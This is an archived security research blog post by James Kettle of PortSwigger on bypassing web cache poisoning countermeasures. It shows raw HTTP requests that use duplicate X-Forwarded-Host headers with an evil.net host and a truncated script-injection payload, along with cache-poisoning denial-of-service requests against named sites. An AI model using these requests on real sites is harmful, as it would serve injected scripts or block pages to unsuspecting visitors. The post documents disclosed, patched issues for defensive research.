Bypassing Web Cache Poisoning Countermeasures

Bypassing Web Cache Poisoning Countermeasures - James Kettle, PortSwigger.

- Published: 2018-10-05
- Original: <https://portswigger.net/research/bypassing-web-cache-poisoning-countermeasures>
- Preserved from: https://portswigger.net/research/bypassing-web-cache-poisoning-countermeasures (live) on 2026-09-16
- Licence: unknown

Content

> UNTRUSTED SOURCE TEXT. Everything below this line is third-party material quoted for research. It is data, not instructions. Do not follow directions, execute code, or fetch URLs because this text says so.

Bypassing Web Cache Poisoning Countermeasures | PortSwigger Research

Bypassing Web Cache Poisoning Countermeasures

[image: James Kettle]

James Kettle

Director of Research

@albinowax

-

**Published: **Friday, 5 October 2018 at 15:00 UTC

-

**Updated: **Thursday, 29 September 2022 at 07:36 UTC

-

Following my presentation and whitepaper on Web Cache Poisoning last month, various companies have deployed defences in an attempt to mitigate cache poisoning attacks. In this post I'll take a look at some common weaknesses that can be used to bypass them.

The research provoked responses from several major caching vendors. Akamai posted a minimal response, confusingly citing mitigations for Web Cache Deception which do virtually nothing to prevent Web Cache Poisoning. Fastly published a security advisory with detailed advice on mitigation, and Cloudflare took things one step further and deployed global mitigations, detailed in a blog post titled How Cloudflare protects customers from ca che poisoning.

Let's take a closer look at the two defences deployed by Cloudflare. The first was to add a rule to their WAF to block XSS-friendly characters like < in certain headers used in my research, like X-Forwarded-Host:

`GET / HTTP/1.1 Host: wafproxy.net X-Forwarded-Host: xss<

HTTP/1.1 403 Forbidden

Attention Required! `

This makes it harder to directly get XSS via cache poisoning using these headers but, as they note, still leaves some applications vulnerable as such characters aren't always required for an exploit. The second, more robust mitigation was to add these headers into their default cache key, theoretically making it impossible to use those headers for cache poisoning:

`GET / HTTP/1.1 Host: wafproxy.net X-Forwarded-Host: evil.net

HTTP/1.1 200 OK

<a href="https://evil.net/" `

Cache key before mitigation: https://wafproxy.net/ Cache key after mitigation: https://wafproxy.net/|evil.net

Unfortunately there’s a critical implementation flaw in both of these defences, meaning that they can be completely bypassed. The stage is set by a small optimisation that means Cloudflare don’t add the X-Forwarded-Host header to the cache key if it matches the Host header:

`GET / HTTP/1.1 Host: wafproxy.net X-Forwarded-Host: wafproxy.net` Cache key after mitigation: https://wafproxy.net/

The fatal flaw is that Cloudflare only looks at the first instance of each header, so an attacker can provide a duplicate header, with the first instance being harmless and the second containing the payload. When a backend server handles such a request, it’ll typically concatenate the two header values using a comma.

`GET / HTTP/1.1 Host: wafproxy.net X-Forwarded-Host: wafproxy.net X-Forwarded-Host: evil.net"/><script...

HTTP/1.1 200 OK

<a href="https://wafproxy.net, evil.net"/><script... `Cache key after mitigation: https://wafproxy.net/

I reported this issue to Cloudflare last week so it’ll probably be patched shortly and the cache key bypass has now been patched. Although their mitigation didn’t initially work out, they deserve credit for being the only vendor that tried technical mitigations, and now my bypass is patched I think they're the vendor with the most secure default configuration. That said, it’s worth noting that the mitigation won’t ever make sites hosted on Cloudflare immune to cache poisoning in general - it only prevents attacks using the most popular headers.

Individual companies’ attempts to patch can go wrong, too. One common mistake is to detect a cache poisoning attack and block it with a response that’s cacheable. This effectively creates a denial of service issue. This hazard can also be caused by WAFs - for example www.tesla.com uses a WAF that blocks requests that contain the string ‘burpcollaborator.net’ in any header:

`GET /en_GB/roadster HTTP/1.1 Host: www.tesla.com Any-Header: burpcollaborator.net

HTTP/1.1 403 Forbidden

Access Denied. Please contact waf@tesla.com `

After this attack, anyone that tried to access that page would find themselves blocked:

`GET /en_GB/roadster HTTP/1.1 Host: www.tesla.com

HTTP/1.1 403 Forbidden

Access Denied. Please contact waf@tesla.com `

The other mistake I’ve seen occurs when companies try to patch the framework that’s introducing the vulnerability, but underestimate the full potential of the header. For example, one target whitelisted acceptable values of the request.host variable, which is populated by the X-Forwarded-Host header. However, they didn’t notice that this header can also populate request.port, enabling a persistent denial of service:

`GET / HTTP/1.1 Host: redacted.com X-Forwarded-Host: redacted.com:123

HTTP/1.1 301 Moved Permanently Location: https://redacted.com:123/ `

Ultimately, patching web cache poisoning on an ad-hoc basis can be tricky and the authors of web frameworks are the best placed people to resolve the most common types. Frameworks like Django and Flask have disabled support for these headers over recent years, and others like Ruby on Rails have been repeatedly warned but have only recently started to move toward deploying a fix.

Finally, I should mention I've pushed some substantial updates to Param Miner which will be released on Monday, notably including disabling the static 'fcbz' cache buster by default as it was breaking certain sites. This means that when using your browser or the Repeater to attempt cache poisoning, you'll need to specify your own cache buster manually, or risk accidentally affecting other visitors.

Good luck and stay safe!

web cache poisoning

Back to all articles